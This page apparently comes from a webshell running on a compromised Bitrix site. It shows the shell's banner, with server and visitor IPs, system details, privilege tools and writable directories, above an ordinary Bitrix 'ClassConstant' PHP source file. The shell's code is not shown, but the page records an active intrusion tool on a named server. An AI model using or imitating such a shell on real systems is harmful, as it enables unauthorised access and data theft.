403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sender/lib/internals/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sender/lib/internals/classconstant.php
<?php
/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage sender
 * @copyright 2001-2012 Bitrix
 */
namespace Bitrix\Sender\Internals;

use Bitrix\Main\Localization\Loc;
use Bitrix\Sender\Integration;

Loc::loadMessages(__FILE__);

/**
 * Class Type
 * @package Bitrix\Sender\Internals
 */
class ClassConstant
{
	/**
	 * Get caption.
	 *
	 * @param integer $id ID.
	 * @return integer|null
	 */
	public static function getName($id)
	{
		static $integration = [];
		$integration[static::class] ??= null;

		if ($integration[static::class] === null)
		{
			$integration[static::class] = Integration\EventHandler::onConstantList(get_called_class());
		}

		foreach ($integration[static::class] as $item)
		{
			if ($item['id'] === $id)
			{
				return $item['name'];
			}
		}

		return static::getCode($id);
	}

	/**
	 * Get class constants.
	 *
	 * @return array
	 */
	protected static function getConstants()
	{
		static $constants = [];
		$constants[static::class] ??= null;

		if ($constants[static::class] === null)
		{
			$class = new \ReflectionClass(get_called_class());
			$list = $class->getConstants();

			$integration = Integration\EventHandler::onConstantList(get_called_class());
			foreach ($integration as $item)
			{
				$list[$item['code']] = $item['id'];
			}

			$constants[static::class] = $list;
		}

		return $constants[static::class];
	}

	/**
	 * Get list.
	 *
	 * @return array
	 */
	public static function getList()
	{
		$result = array();
		$constants = static::getConstants();
		foreach ($constants as $code => $id)
		{
			$result[] = $id;
		}
		return $result;
	}

	/**
	 * Get codes.
	 *
	 * @return array
	 */
	public static function getCodes()
	{
		$result = array();
		$constants = static::getConstants();
		foreach ($constants as $code => $id)
		{
			$result[] = $code;
		}
		return $result;
	}

	/**
	 * Get named list.
	 *
	 * @return array
	 */
	public static function getNamedList()
	{
		$result = array();
		$constants = static::getConstants();
		foreach ($constants as $code => $id)
		{
			$result[$id] = static::getName($id);
		}
		return $result;
	}

	/**
	 * Get named list.
	 *
	 * @return array
	 */
	public static function getNamedCodes()
	{
		$result = array();
		$constants = static::getConstants();
		foreach ($constants as $code => $id)
		{
			$result[$code] = static::getName($id);
		}
		return $result;
	}

	/**
	 * Get ID.
	 *
	 * @param string $code Code.
	 * @return integer|null
	 */
	public static function getId($code)
	{
		$constants = static::getConstants();
		return isset($constants[$code]) ? $constants[$code] : null;
	}

	/**
	 * Get code.
	 *
	 * @param integer $id ID.
	 * @return string|null
	 */
	public static function getCode($id)
	{
		$constants = static::getConstants();
		foreach ($constants as $constantCode => $constantId)
		{
			if ($constantId != $id)
			{
				continue;
			}

			return $constantCode;
		}

		return null;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit